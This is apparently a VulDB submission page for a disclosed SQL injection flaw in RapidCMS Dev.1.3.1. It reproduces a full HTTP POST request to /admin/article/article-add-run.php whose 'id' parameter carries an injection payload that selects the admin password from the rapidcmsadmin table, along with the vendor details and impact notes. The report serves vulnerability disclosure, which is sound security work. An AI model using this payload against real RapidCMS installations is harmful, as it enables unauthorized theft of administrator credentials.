| タイトル | RapidCMS Dev.1.3.1 was discovered to contain SQL injection vulnerability in the Website backend |
|---|
| 説明 | description:RapidCMS Dev.1.3.1 was discovered to contain SQL injection(post) vulnerability in the Website backend
[Vulnerability Type]
SQL INJECTION
[Vendor of Product]
https://github.com/OpenRapid/rapidcms
[Affected Product Code Base]
RapidCMS Dev.1.3.1
[Affected Component]
File： /admin/article/article-add-run.php
Parameter： id
**the data packet which trigger sql injection:**
POST /admin/article/article-add-run.php HTTP/1.1
Host: localhost:8094
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 182
Origin: http://localhost:8094
Connection: close
Referer: http://localhost:8094/admin/article/article-add.php
Cookie: PHPSESSID=su3eg6251ks1n2i43n36fqbn46; admin=Y6W6Rbt6a5W546O0O0O7
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
title=asdaw&file=&content=%3Cp%3Ewadawd%3Cbr%3E%3C%2Fp%3E&categoryid=1&id=1111111116",(select password from rapidcmsadmin),"%3Cp%3Ewadawd%3Cbr%3E%3C%2Fp%3E","2023-9-17","1") -- adawd
In the article viewing section(http://localhost:8094/admin/article/article.php),discovering that SQL injection has been triggered, retrieving the current user name of the database and display it in the title ,the screenshot of the injection result is included in https://github.com/yhy217/rapidcms-vul/issues/1
[Impact]
information disclosure
[Attack Type]
Remote
[Attack Vectors]
Net
The manufacturer has been notified |
|---|
| ソース | ⚠️ https://github.com/yhy217/rapidcms-vul/issues/1 |
|---|
| ユーザー | jamspilly (UID 54414) |
|---|
| 送信 | 2023年09月17日 12:01 (3 年 ago) |
|---|
| モデレーション | 2023年09月17日 19:26 (7 hours later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 239875 [OpenRapid RapidCMS 1.3.1 article-add.php 識別子 SQLインジェクション] |
|---|
| ポイント | 20 |
|---|